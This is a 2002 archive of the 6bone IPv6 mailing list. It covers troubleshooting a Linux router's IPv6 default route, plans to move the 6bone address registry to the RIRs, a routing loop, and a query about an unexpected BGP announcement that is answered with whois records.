The routing table appears to be appropriate:

[root@Border1 bin]# ip -6 route
3ffe:b80:e32:1::/64 dev lec0  proto kernel  metric 256  mtu 1500
3ffe:b80:e32::/48 dev lec0  metric 1  mtu 1500
fe80::/10 dev dummy0  proto kernel  metric 256  mtu 1500
fe80::/10 dev eth0  proto kernel  metric 256  mtu 1500
fe80::/10 dev lec0  proto kernel  metric 256  mtu 1500
fe80::/10 via :: dev sit1  proto kernel  metric 256  mtu 1480
ff00::/8 dev dummy0  proto kernel  metric 256  mtu 1500
ff00::/8 dev eth0  proto kernel  metric 256  mtu 1500
ff00::/8 dev lec0  proto kernel  metric 256  mtu 1500
ff00::/8 dev sit1  proto kernel  metric 256  mtu 1480
default dev sit1  metric 1  mtu 1480
unreachable default dev lo  metric -1  error -101


I have 3ffe:b80:e32:1::2/64 bound up on router2:

[root@Border2 bin]# ip -6 address
1: lo: <LOOPBACK,UP> mtu 16436 qdisc noqueue
    inet6 ::1/128 scope host
2: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 100
    inet6 fe80::290:27ff:fecb:aafb/10 scope link
    inet6 3ffe:b80:e32:1::2/64 scope global
3: dummy0: <BROADCAST,NOARP,UP> mtu 1500 qdisc noqueue
    inet6 fe80::200:ff:fe00:0/10 scope link

...and the appropriate default (::/0) pointed at 3ffe:b80:e32:1::1

[root@Border2 bin]# ip -6 route
3ffe:b80:e32:1::/64 dev eth0  proto kernel  metric 256  mtu 1500
fe80::/10 dev dummy0  proto kernel  metric 256  mtu 1500
fe80::/10 dev eth0  proto kernel  metric 256  mtu 1500
ff00::/8 dev dummy0  proto kernel  metric 256  mtu 1500
ff00::/8 dev eth0  proto kernel  metric 256  mtu 1500
default via 3ffe:b80:e32:1::1 dev eth0  metric 1024  mtu 1500
unreachable default dev lo  metric -1  error -101


The problem is that routing is problematic at best from router2:

[root@Border2 bin]# ping6 www.6bone.net
PING www.6bone.net(www.6bone.net) 56 data bytes
From 3ffe:b80:e32:1::1: Destination unreachable: Address unreachable
From 3ffe:b80:e32:1::1: Destination unreachable: Address unreachable

--- www.6bone.net ping statistics ---
2 packets transmitted, 0 packets received, +2 errors, 100% packet loss

If I ping www.6bone.net from router1:

[root@Border1 bin]# ping6 www.6bone.net
PING www.6bone.net(www.6bone.net) 56 data bytes
64 bytes from www.6bone.net: icmp_seq=0 hops=62 time=52.691 msec
64 bytes from www.6bone.net: icmp_seq=1 hops=62 time=72.086 msec

--- www.6bone.net ping statistics ---
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max/mdev = 52.691/62.388/72.086/9.700 ms

...I can then reach it from router2.  In the display below, I started a
ping6 from router2 to www.6bone.net.  I then started a ping6 from router1
(the gateway for router2) to www.6bone.net.  As soon as the ping6 on
router1 started, the ping6 on router2 starts working:

[root@Border2 bin]# ping6 www.6bone.net
PING www.6bone.net(www.6bone.net) 56 data bytes
From 3ffe:b80:e32:1::1: Destination unreachable: Address unreachable
From 3ffe:b80:e32:1::1: Destination unreachable: Address unreachable
From 3ffe:b80:e32:1::1: Destination unreachable: Address unreachable
64 bytes from www.6bone.net: icmp_seq=3 hops=61 time=53.873 msec
64 bytes from www.6bone.net: icmp_seq=4 hops=61 time=53.169 msec
64 bytes from www.6bone.net: icmp_seq=5 hops=61 time=53.721 msec

--- www.6bone.net ping statistics ---
7 packets transmitted, 3 packets received, +3 errors, 57% packet loss
round-trip min/avg/max/mdev = 53.169/53.587/53.873/0.403 ms


I then stopped the ping6 on router1 and soon after, router2 could no
longer reach www.6bone.net:

[root@Border2 bin]# ping6 www.6bone.net
PING www.6bone.net(www.6bone.net) 56 data bytes
64 bytes from www.6bone.net: icmp_seq=0 hops=61 time=58.586 msec
64 bytes from www.6bone.net: icmp_seq=1 hops=61 time=53.383 msec
64 bytes from www.6bone.net: icmp_seq=2 hops=61 time=59.519 msec
64 bytes from www.6bone.net: icmp_seq=3 hops=61 time=63.576 msec
64 bytes from www.6bone.net: icmp_seq=4 hops=61 time=61.473 msec
64 bytes from www.6bone.net: icmp_seq=5 hops=61 time=59.763 msec
64 bytes from www.6bone.net: icmp_seq=6 hops=61 time=53.719 msec
64 bytes from www.6bone.net: icmp_seq=7 hops=61 time=59.625 msec
64 bytes from www.6bone.net: icmp_seq=8 hops=61 time=59.989 msec
64 bytes from www.6bone.net: icmp_seq=9 hops=61 time=53.450 msec
64 bytes from www.6bone.net: icmp_seq=10 hops=61 time=53.551 msec
64 bytes from www.6bone.net: icmp_seq=11 hops=61 time=53.595 msec
64 bytes from www.6bone.net: icmp_seq=12 hops=61 time=59.718 msec
64 bytes from www.6bone.net: icmp_seq=13 hops=61 time=65.459 msec
64 bytes from www.6bone.net: icmp_seq=14 hops=61 time=53.319 msec
64 bytes from www.6bone.net: icmp_seq=15 hops=61 time=54.186 msec
64 bytes from www.6bone.net: icmp_seq=16 hops=61 time=56.177 msec
64 bytes from www.6bone.net: icmp_seq=17 hops=61 time=53.511 msec
64 bytes from www.6bone.net: icmp_seq=18 hops=61 time=53.473 msec
64 bytes from www.6bone.net: icmp_seq=19 hops=61 time=54.107 msec
64 bytes from www.6bone.net: icmp_seq=20 hops=61 time=59.824 msec
64 bytes from www.6bone.net: icmp_seq=21 hops=61 time=53.605 msec
From 3ffe:b80:e32:1::1: Destination unreachable: Address unreachable
From 3ffe:b80:e32:1::1: Destination unreachable: Address unreachable

--- www.6bone.net ping statistics ---
24 packets transmitted, 22 packets received, +2 errors, 8% packet loss
round-trip min/avg/max/mdev = 53.319/56.982/65.459/3.750 ms


Traceroute6 yields the same results.  As long as router1 has a ping6 going
against www.6bone.net, router2 can get there via router1:

[root@Border2 bin]# traceroute6 www.6bone.net
traceroute to 6bone.net (3ffe:b00:c18:1::10) from 3ffe:b80:e32:1::2, 30
hops max, 16 byte packets
 1  3ffe:b80:e32:1::1 (3ffe:b80:e32:1::1)  2.269 ms  1.306 ms  0.871 ms
 2  3ffe:b00:c18:1:2a0:c9ff:fefc:1feb (3ffe:b00:c18:1:2a0:c9ff:fefc:1feb)  62.574 ms  93.856 ms  61.972 ms
 3  www.6bone.net (3ffe:b00:c18:1::10)  82.151 ms  53.484 ms  53.66 ms

...within 30 seconds of stopping the ping6 to www.6bone.net on router1,
router2 can't get there:

[root@Border2 bin]# traceroute6 www.6bone.net
traceroute to 6bone.net (3ffe:b00:c18:1::10) from 3ffe:b80:e32:1::2, 30
hops max, 16 byte packets
 1  3ffe:b80:e32:1::1 (3ffe:b80:e32:1::1)  0.997 ms !H  1.668 ms !H  0.873 ms !H


Can anyone tell me what I'm doing wrong here?  I'm at my wits end!


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |




From michel@arneill-py.sacramento.ca.us Wed Jul 10 14:41:03 2002
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Bob,

> I am scheduling a 6bone meeting in Yokohama on Wednesday, just after
> the ngtrans meeting ends, in the same room. It will be the usual
> timing to let the room clear for 15 minutes and ending 15 minutes
> before the next meeting starts.
> Wed. 17 July  11:45am - 12:45pm  same room as ngtrans is in
> I will talk about the discussions I've been having with the
> registries about conversion of the 6bone address registry to the
> RIRs and giving the 6bone access to the ip6.arpa reverse registry
> that the RIRs operate.
> There is no formal draft yet, just the informal ideas, but I will
> present all that I know as of the meeting.

Would it be possible for you to post some slides sometime before the
meeting?
 
Although you will likely cover the topic in your presentation, I think
the 6bone community would be interested to know, with regard to this
conversion of the 6bone registry to the RIRs:

- Will it trigger another RFC to update / replace 2471?
- Will it change anything for existing assignments?
- Will it change anything for future pTLA requests?
- Will it change anything for special purposes requests?

Thanks
Michel.


From fink@es.net Wed Jul 10 16:24:20 2002
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   "6BONE List" <6bone@mailman.isi.edu>
From: Bob Fink <fink@es.net>
Subject: RE: [6bone] 6bone meeting in Yokohama
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Michel,

I'll post something after the meeting as it isn't quite ready yet and I'm 
about to leave for Yokohama. I am also meeting with the RIR folk in 
Yokohama to discuss more before the meeting.


Bob

At 02:40 PM 7/10/2002 -0700, Michel Py wrote:
>Bob,
>
> > I am scheduling a 6bone meeting in Yokohama on Wednesday, just after
> > the ngtrans meeting ends, in the same room. It will be the usual
> > timing to let the room clear for 15 minutes and ending 15 minutes
> > before the next meeting starts.
> > Wed. 17 July  11:45am - 12:45pm  same room as ngtrans is in
> > I will talk about the discussions I've been having with the
> > registries about conversion of the 6bone address registry to the
> > RIRs and giving the 6bone access to the ip6.arpa reverse registry
> > that the RIRs operate.
> > There is no formal draft yet, just the informal ideas, but I will
> > present all that I know as of the meeting.
>
>Would it be possible for you to post some slides sometime before the
>meeting?
>
>Although you will likely cover the topic in your presentation, I think
>the 6bone community would be interested to know, with regard to this
>conversion of the 6bone registry to the RIRs:
>
>- Will it trigger another RFC to update / replace 2471?
>- Will it change anything for existing assignments?
>- Will it change anything for future pTLA requests?
>- Will it change anything for special purposes requests?
>
>Thanks
>Michel.
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone


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Thread-Topic: [6bone] 6bone meeting in Yokohama
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Bob Fink" <fink@es.net>, "6BONE List" <6bone@mailman.isi.edu>
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Bob,

> I'll post something after the meeting as it isn't quite ready yet
> and I'm about to leave for Yokohama. I am also meeting with the
> RIR folk in Yokohama to discuss more before the meeting.

Thanks. Note that I personally am favorable to the conversion of the
6bone registry to RIRs, as the three or four drafts that the ipv6mh
group will introduce sometime between Yokohama and Atlanta have some
parts related to RIRs, and we wish to use some 6bone address space to
beta-test the concepts.

Michel.


Bob

At 02:40 PM 7/10/2002 -0700, Michel Py wrote:
>Bob,
>
> > I am scheduling a 6bone meeting in Yokohama on Wednesday, just after
> > the ngtrans meeting ends, in the same room. It will be the usual
> > timing to let the room clear for 15 minutes and ending 15 minutes
> > before the next meeting starts.
> > Wed. 17 July  11:45am - 12:45pm  same room as ngtrans is in
> > I will talk about the discussions I've been having with the
> > registries about conversion of the 6bone address registry to the
> > RIRs and giving the 6bone access to the ip6.arpa reverse registry
> > that the RIRs operate.
> > There is no formal draft yet, just the informal ideas, but I will
> > present all that I know as of the meeting.
>
>Would it be possible for you to post some slides sometime before the
>meeting?
>
>Although you will likely cover the topic in your presentation, I think
>the 6bone community would be interested to know, with regard to this
>conversion of the 6bone registry to the RIRs:
>
>- Will it trigger another RFC to update / replace 2471?
>- Will it change anything for existing assignments?
>- Will it change anything for future pTLA requests?
>- Will it change anything for special purposes requests?
>
>Thanks
>Michel.
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone


From fink@es.net Wed Jul 10 22:55:24 2002
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Michel,

Thanks for the input.


Bob

===
At 05:38 PM 7/10/2002 -0700, Michel Py wrote:
>Bob,
>
> > I'll post something after the meeting as it isn't quite ready yet
> > and I'm about to leave for Yokohama. I am also meeting with the
> > RIR folk in Yokohama to discuss more before the meeting.
>
>Thanks. Note that I personally am favorable to the conversion of the
>6bone registry to RIRs, as the three or four drafts that the ipv6mh
>group will introduce sometime between Yokohama and Atlanta have some
>parts related to RIRs, and we wish to use some 6bone address space to
>beta-test the concepts.
>
>Michel.
>
>
>Bob
>
>At 02:40 PM 7/10/2002 -0700, Michel Py wrote:
> >Bob,
> >
> > > I am scheduling a 6bone meeting in Yokohama on Wednesday, just after
> > > the ngtrans meeting ends, in the same room. It will be the usual
> > > timing to let the room clear for 15 minutes and ending 15 minutes
> > > before the next meeting starts.
> > > Wed. 17 July  11:45am - 12:45pm  same room as ngtrans is in
> > > I will talk about the discussions I've been having with the
> > > registries about conversion of the 6bone address registry to the
> > > RIRs and giving the 6bone access to the ip6.arpa reverse registry
> > > that the RIRs operate.
> > > There is no formal draft yet, just the informal ideas, but I will
> > > present all that I know as of the meeting.
> >
> >Would it be possible for you to post some slides sometime before the
> >meeting?
> >
> >Although you will likely cover the topic in your presentation, I think
> >the 6bone community would be interested to know, with regard to this
> >conversion of the 6bone registry to the RIRs:
> >
> >- Will it trigger another RFC to update / replace 2471?
> >- Will it change anything for existing assignments?
> >- Will it change anything for future pTLA requests?
> >- Will it change anything for special purposes requests?
> >
> >Thanks
> >Michel.
> >
> >_______________________________________________
> >6bone mailing list
> >6bone@mailman.isi.edu
> >http://mailman.isi.edu/mailman/listinfo/6bone


From jeroen@unfix.org Thu Jul 11 03:46:47 2002
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To: "'John Fraizer'" <tvo@EnterZone.Net>
Cc: "'6BONE List'" <6bone@mailman.isi.edu>
Subject: RE: [6bone] problem setting up routing for a /48
Date: Thu, 11 Jul 2002 12:44:44 +0200
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John Fraizer wrote:


> Can anyone tell me what I'm doing wrong here?  I'm at my wits end!
<SNIP>

- What kernel version
- What glibc version

I see you got 4 different link-local addresses on your sit1 device.
What's the ttl on this (sit1) device ?
And how is your tunnel device configured for the rest?
Check www.ipng.nl -> OS Setup for more hints :)
Oh and ofcourse I shouldn't forget: www.bieringer.de -> Linux/IPv6.

And for the rest, you might try and tcpdump your uplink, maybe something
in between is not fine?
Also you didn't point the 3ffe:b80:e32:1::2/64 to router2 from router1.

Greets,
 Jeroen


From pekkas@netcore.fi Thu Jul 11 07:20:50 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: John Fraizer <tvo@EnterZone.Net>
cc: 6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] problem setting up routing for a /48
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On Wed, 10 Jul 2002, John Fraizer wrote:
> The routing table appears to be appropriate:
> 
> [root@Border1 bin]# ip -6 route
> 3ffe:b80:e32:1::/64 dev lec0  proto kernel  metric 256  mtu 1500
> 3ffe:b80:e32::/48 dev lec0  metric 1  mtu 1500
> fe80::/10 dev dummy0  proto kernel  metric 256  mtu 1500
> fe80::/10 dev eth0  proto kernel  metric 256  mtu 1500
> fe80::/10 dev lec0  proto kernel  metric 256  mtu 1500
> fe80::/10 via :: dev sit1  proto kernel  metric 256  mtu 1480
> ff00::/8 dev dummy0  proto kernel  metric 256  mtu 1500
> ff00::/8 dev eth0  proto kernel  metric 256  mtu 1500
> ff00::/8 dev lec0  proto kernel  metric 256  mtu 1500
> ff00::/8 dev sit1  proto kernel  metric 256  mtu 1480
> default dev sit1  metric 1  mtu 1480
  ^^^^^^^
> unreachable default dev lo  metric -1  error -101

Linux kernel does not work with "default" route when forwarding packets.  
Use 2000::/3 instead.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From jeroen@unfix.org Thu Jul 11 09:50:01 2002
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Subject: RE: [6bone] problem setting up routing for a /48
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Pekka Savola wrote:

> On Wed, 10 Jul 2002, John Fraizer wrote:
> > The routing table appears to be appropriate:
> > 
> > [root@Border1 bin]# ip -6 route
> > 3ffe:b80:e32:1::/64 dev lec0  proto kernel  metric 256  mtu 1500
> > 3ffe:b80:e32::/48 dev lec0  metric 1  mtu 1500
> > fe80::/10 dev dummy0  proto kernel  metric 256  mtu 1500
> > fe80::/10 dev eth0  proto kernel  metric 256  mtu 1500
> > fe80::/10 dev lec0  proto kernel  metric 256  mtu 1500
> > fe80::/10 via :: dev sit1  proto kernel  metric 256  mtu 1480
> > ff00::/8 dev dummy0  proto kernel  metric 256  mtu 1500
> > ff00::/8 dev eth0  proto kernel  metric 256  mtu 1500
> > ff00::/8 dev lec0  proto kernel  metric 256  mtu 1500
> > ff00::/8 dev sit1  proto kernel  metric 256  mtu 1480
> > default dev sit1  metric 1  mtu 1480
>   ^^^^^^^
> > unreachable default dev lo  metric -1  error -101
> 
> Linux kernel does not work with "default" route when 
> forwarding packets.  
> Use 2000::/3 instead.

Oops forgot about that one again :)
On non-forwarding hosts (or even per-interface?) it does work.
Hmm in that respect it should probably give out some kind of
notification as it's really something one looks over ;)
Then again it doesn't quite explain his "after a few seconds it doesn't
ping anymore" behaviour.

Greets,
 Jeroen


From tvo@EnterZone.Net Sun Jul 14 23:45:41 2002
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Subject: [6bone] Anyone at the wheel at AS237 - MERIT?
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Nearly a week ago, I sent mail to the BOTH @merit.edu addresses listed in
MNT-MERIT with regards to changing our tunnel configuraion with MERIT.  I
have yet to receive a reply.

After 5 days, I contacted the MERIT NOC via telephone and indicated to
them that I needed to change our tunnel configuration with their 6bone
router.

I swear to [insert deity you respect here]. I was told:

"I don't think we're participating in the 6bone now."

"I think it got dropped like a lot of other projects at MERIT."

This is not a good sign as far as I'm concerned.

I hate to have to call you folks out on the 6bone list but, if you would
respond to email in a timely fashion, it would not have been necessary.

So: Is anyone at the wheel at AS237 - MERIT?

If not, does anyone ELSE have objection to us (AS13944) announcing the
aggregate 3ffe:1c00::/24 so that we can get 6bone connectivity once again?

I have temporary agreements with a few peers to accept our de-aggregated
3ffe:1ced::/32 but, I don't like breaking aggregation - and WOULDN'T DO SO
IF SOMEONE AT MERIT WOULD FIX OUR TUNNEL SO IT WASN'T NECESSARY TO DO
SO!!! 

So, if you're at the wheel at MERIT, please contact me.

If you know how to get in touch with someone who IS at the wheel at MERIT,
please have them contact me.


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |





From fink@es.net Mon Jul 15 00:52:41 2002
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Date: Mon, 15 Jul 2002 00:52:33 -0700
To: 6BONE List <6bone@mailman.isi.edu>
From: Bob Fink <fink@es.net>
Cc: "Ettore De Simone" <e.desimone@ecity.it>,
   6bone reverse DNS registration <hostmaster@ep.net>
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Subject: [6bone] 6bone pTLA 3FFE:400E::/32 allocated to ECITY
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ECITY has been allocated pTLA 3FFE:400E::/32 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?ECITY>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
hostmaster@ep.net.]


Thanks,

Bob


From tvo@EnterZone.Net Mon Jul 15 06:53:21 2002
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Subject: [6bone] Routing loop?
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I picked a prefix at random to traceroute6 to and think I found a routing
loop:

traceroute to 2001:2e8::1 (2001:2e8::1) from 3ffe:31ff:0:ffff::51, 30 hops
max, 16 byte packets
 1  3ffe:31ff:0:ffff::50  176.882 ms  176.801 ms  177.591 ms
 2  2001:288:3b0::55  312.667 ms  312.772 ms  312.656 ms
 3  * 3ffe:3600::4  543.027 ms  541.667 ms
 4  3ffe:81d0:ffff:2::40  576.769 ms  587.26 ms  581.632 ms
 5  * * 3ffe:8070:1:13::1  688.244 ms
 6  3ffe:1cff:0:f4::1  649.931 ms  655.285 ms  649.573 ms
 7  2001:288:3b0::55  656.604 ms  651.207 ms  651.558 ms
 8  3ffe:3600::4  883.978 ms  882.055 ms  880.693 ms
 9  3ffe:81d0:ffff:2::40  884.175 ms  921.358 ms  881.235 ms
10  3ffe:8070:1:13::1  1033.52 ms  1033.26 ms  1030.68 ms
11  3ffe:1cff:0:f4::1  991.511 ms  993.754 ms  989.158 ms
12  2001:288:3b0::55  987.796 ms  992.849 ms  992.887 ms
13  * 3ffe:3600::4  1220.62 ms  1222.94 ms
14  3ffe:81d0:ffff:2::40  1226.36 ms  1211.98 ms  1257.83 ms
15  3ffe:8070:1:13::1  1386.7 ms  1380.71 ms  1363.73 ms
16  3ffe:1cff:0:f4::1  1330.9 ms  1329.47 ms  1329.02 ms
17  2001:288:3b0::55  1336.74 ms  1383.23 ms  1376.04 ms
18  3ffe:3600::4  1567.68 ms  1565.46 ms  1558.71 ms
19  3ffe:81d0:ffff:2::40  1559.76 ms  1589.07 ms  1588.92 ms
20  3ffe:8070:1:13::1  1701.98 ms  1701.99 ms  1708.76 ms
21  3ffe:1cff:0:f4::1  1672.33 ms  1670.36 ms  1684.26 ms
22  2001:288:3b0::55  1667.09 ms  1667.08 ms  1679.95 ms
23  3ffe:3600::4  1907.8 ms  1898.95 ms *
24  3ffe:81d0:ffff:2::40  1909.34 ms  1904.17 ms  1915.81 ms
25  3ffe:8070:1:13::1  2091.27 ms  2051.24 ms  2088.11 ms
26  3ffe:1cff:0:f4::1  2004.85 ms  2005.63 ms  2005.39 ms
27  2001:288:3b0::55  2007.47 ms  2014.89 ms  2005.18 ms
28  3ffe:3600::4  2237.78 ms  2239.74 ms  2237.27 ms
29  3ffe:81d0:ffff:2::40  2286.25 ms  2244.75 ms  2245.92 ms
30  3ffe:8070:1:13::1  2381.61 ms  2379.24 ms  2389.26 ms




---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |




From lucifer@lightbearer.com Mon Jul 15 15:32:06 2002
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Date: Mon, 15 Jul 2002 16:32:04 -0600
To: 6bone@ISI.EDU
Subject: Re: [6bone] Anyone at the wheel at AS237 - MERIT?
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On Mon, Jul 15, 2002 at 02:45:36AM -0400, John Fraizer wrote:
> 
> I have temporary agreements with a few peers to accept our de-aggregated
> 3ffe:1ced::/32 but, I don't like breaking aggregation - and WOULDN'T DO SO
> IF SOMEONE AT MERIT WOULD FIX OUR TUNNEL SO IT WASN'T NECESSARY TO DO
> SO!!! 

And everyone wonders why customers are against aggregation schemes which
force them to single-home or lie and pretend to be an ISP...
-- 
***************************************************************************
Joel Baker                           System Administrator - lightbearer.com
lucifer@lightbearer.com              http://users.lightbearer.com/lucifer/

From fink@es.net Tue Jul 16 17:15:16 2002
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Subject: [6bone] reminder of 6bone meeting after the ngtrans meeting today
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6bone Folk:

This is a reminder that we have a 6bone meeting in Yokohama on Wednesday, 
just after the ngtrans meeting ends, in the same room. It will be the usual 
timing to let the room clear for 15 minutes and ending 15 minutes before 
the next meeting starts.

   Wed. 17 July  11:45am - 12:45pm
   same room as ngtrans is in

I will talk about the discussions I've been having with the registries 
about conversion of the 6bone address registry to the RIRs and giving the 
6bone access to the ip6.arpa reverse registry that the RIRs operate.

There is no formal draft yet, just the informal ideas, but I will present 
all that I know as of the meeting.


See you there,

Bob


From tvo@EnterZone.Net Fri Jul 19 16:46:11 2002
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Subject: [6bone] Rogue announcement from rogue ASN?
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I'm seeing the following announcement:

*  2001:430::/32    3ffe:1ced:ff05::2
                                                           0 22 10566 5594 13193 109 17965 5609 4554 278 6939 2497 5994 i
*                   3ffe:c00:8023:4::1
                                                           0 109 3748 3786 10566 8379 8277 45328 2042 6435 6175 2497 5994 i
*                   3ffe:31ff:0:ffff::50
                                                           0 1930 10566 5594 13193 109 17965 5609 4554 278 6939 2497 5994 i
*                   3ffe:8160:0:1::c
                                                           0 6435 6175 10566 5594 13193 109 17965 5609 4554 278 6939 2497 5994 i
*>                  3ffe:81d0:ffff:2::44
                                                           0 6939 3748 3786 10566 8379 8277 45328 2042 6435 6175 2497 5994 i


2001:430::/32 has not been assigned:

[whois.arin.net]
ARIN-001                            2001:0400:0000:0000:0000:0000:0000:0000/23
DISN-LES-V6                         2001:0430:0000:0000:0000:0000:0000:0000/35

I am pretty sure that if this was legit, I would be seeing it only one or two ASNs into
AS22.

The origin AS5994 is not assigned according to ARIN:


[whois.arin.net]
No match for "5994".

%%%%%%%%%%%%%%%%%%% NO MATCH TIP %%%%%%%%%%%%%%%%%%%%%%%%%
%                                                        %
%  ALL OF THE POINT OF CONTACT HANDLES IN THE ARIN       %
%  WHOIS END WITH "-ARIN", IF YOU ARE QUERYING A POINT   %
%  OF CONTACT HANDLE PLEASE ADD -ARIN TO YOUR QUERY.     %
%                                                        %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

The upstream is:

aut-num:     AS2497
as-name:     IIJ
descr:       (Unknown)
country:     JP
as-in:       (Unknown)
as-out:      (Unknown)
admin-c:     TA032JP
tech-c:      TA032JP
remarks:     This information has been partially mirrored by APNIC from
remarks:     JPNIC. To obtain more specific information, please use the
remarks:     JPNIC whois server at whois.nic.ad.jp. (This defaults to
remarks:     Japanese output, use the /e switch for English output)
changed:     apnic-ftp@nic.ad.jp 20020717
source:      JPNIC



So, can someone tell me why:

1) I'm seeing a prefix that is not assigned yet.
2) I'm seeing it announced from an ASN that is not assigned.

---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From itojun@itojun.org Fri Jul 19 17:45:20 2002
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Subject: [6bone] bogus routes remain for /35
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	2001:2e8::/35 have transitioned to /32 (APNIC policy change), however,
	it seems that there /35 routes sitting around.  from my eye inspection
	AS10566 (viagenie) is keeping this obsolete route (only 10566 appears
	in all the AS paths).
	could you check your BGP implementation, and address the issue ASAP?

itojun

MFEED - http://www.v6.mfeed.ad.jp/ipv6/lg.html
 65526 10566 5594 6830 8627 1752 4725 4691
 3265 10566 5594 6830 8627 1752 4725 4691
 4697 10566 5594 6830 8627 1752 4725 4691

IMNet - http://www.inoc.imnet.ad.jp/lg/7.2k-lg-04.html
 3425 293 145 7580 10566 9264 7660 2500 4725 4691
 2500 4554 6939 10566 5594 6830 8627 1752 4725 4691

LavaNet - http://www.ipv6.lava.net/cgi-bin/lg.pl
 6175 7580 10566 9264 7660 2500 4725 4691

6TAP - http://www.6tap.net/6tap/6tap-lg.html
 6939 10566 5594 6830 8627 1752 4725 4691
 11537 22 10566 5594 6830 8627 1752 4725 4691
 2200 1930 10566 5594 6830 8627 1752 4725 4691
 293 145 7580 10566 9264 7660 2500 4725 4691


From dragon@tdoi.org Fri Jul 19 18:09:37 2002
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References: <Pine.LNX.4.21.0207191933540.27221-100000@Overkill.EnterZone.Net>
Subject: Re: [6bone] Rogue announcement from rogue ASN?
To: "John Fraizer" <tvo@EnterZone.Net>, <6bone@ISI.EDU>
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----- Original Message -----
From: "John Fraizer" <tvo@EnterZone.Net>
To: <6bone@ISI.EDU>
Sent: Saturday, July 20, 2002 1:46 AM
Subject: [6bone] Rogue announcement from rogue ASN?


>
> I'm seeing the following announcement:
>
> *  2001:430::/32    3ffe:1ced:ff05::2
>                                                            0 22 10566 5594 13193 109 17965 5609 4554 278 6939 2497 5994 i
> *                   3ffe:c00:8023:4::1
>                                                            0 109 3748 3786 10566 8379 8277 45328 2042 6435 6175 2497 5994 i
> *                   3ffe:31ff:0:ffff::50
>                                                            0 1930 10566 5594 13193 109 17965 5609 4554 278 6939 2497 5994 i
> *                   3ffe:8160:0:1::c
>                                                            0 6435 6175 10566 5594 13193 109 17965 5609 4554 278 6939 2497 5994 i
> *>                  3ffe:81d0:ffff:2::44
>                                                            0 6939 3748 3786 10566 8379 8277 45328 2042 6435 6175 2497 5994 i
>
>
> 2001:430::/32 has not been assigned:
>

I think this sTLA changed to the new RIR policy, but whois hasn't been updated (possible upgrade to new whois database in august
2002?)

> [whois.arin.net]
> ARIN-001                            2001:0400:0000:0000:0000:0000:0000:0000/23
> DISN-LES-V6                         2001:0430:0000:0000:0000:0000:0000:0000/35
>

whois -h whois.arin.net DISN-LES-V6
NRL (for SSCC) (DISN-LES-V6)
   One Innovation Drive,
   Hanahan, SC 29406-4200
   US

   Netname: DISN-LES-V6
   Netnumber: 2001:0430:0000:0000:0000:0000:0000:0000/35

   Maintainer: V6NV

   Coordinator:
     Brig, Michael (MB1166-ARIN)  brigm@spawar.navy.mil


   Domain System inverse mapping provided by:
   NS1.V6.LES.DISA.MIL
   NS2.V6.LES.DISA.MIL

   Record last updated on 13-Sep-2000.

> I am pretty sure that if this was legit, I would be seeing it only one or two ASNs into
> AS22.
>
> The origin AS5994 is not assigned according to ARIN:
>

whois -h whois.nic.mil AS5994
USN SPAWAR SYSTEM CENTER CHARLESTON (UNCLAS-DEFUN-ASN)
   PO 190022
   NORTH CHARLESTON, SC 29419

   Autonomous System Name: UNCLAS-DEFENSENET
   Autonomous System Number: 5994
   PLA: SPAWARSYSCEN CHARLESTON SC

   Technical Contact:
      Brig, Michael P. [SSCC NGI PROGRAM MANAGER]  (MPB)
      (843) 218-4675 (DSN) 588-4675 (FAX)(843) 218-4675
      BRIGM@SPAWAR.NAVY.MIL
   Administrative Contact:
      DoD, Hostmaster  (HOSTMASTER)
      (800) 365-3642 (FAX)(703) 676-1749
      HOSTMASTER@NIC.MIL

   Record last updated on 15-Sep-2000.

>
> [whois.arin.net]
> No match for "5994".
>
> %%%%%%%%%%%%%%%%%%% NO MATCH TIP %%%%%%%%%%%%%%%%%%%%%%%%%
> %                                                        %
> %  ALL OF THE POINT OF CONTACT HANDLES IN THE ARIN       %
> %  WHOIS END WITH "-ARIN", IF YOU ARE QUERYING A POINT   %
> %  OF CONTACT HANDLE PLEASE ADD -ARIN TO YOUR QUERY.     %
> %                                                        %
> %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
>
> The upstream is:
>
> aut-num:     AS2497
> as-name:     IIJ
> descr:       (Unknown)
> country:     JP
> as-in:       (Unknown)
> as-out:      (Unknown)
> admin-c:     TA032JP
> tech-c:      TA032JP
> remarks:     This information has been partially mirrored by APNIC from
> remarks:     JPNIC. To obtain more specific information, please use the
> remarks:     JPNIC whois server at whois.nic.ad.jp. (This defaults to
> remarks:     Japanese output, use the /e switch for English output)
> changed:     apnic-ftp@nic.ad.jp 20020717
> source:      JPNIC
>
>
>
> So, can someone tell me why:
>
> 1) I'm seeing a prefix that is not assigned yet.
> 2) I'm seeing it announced from an ASN that is not assigned.
>
> ---
> John Fraizer              | High-Security Datacenter Services |
> EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
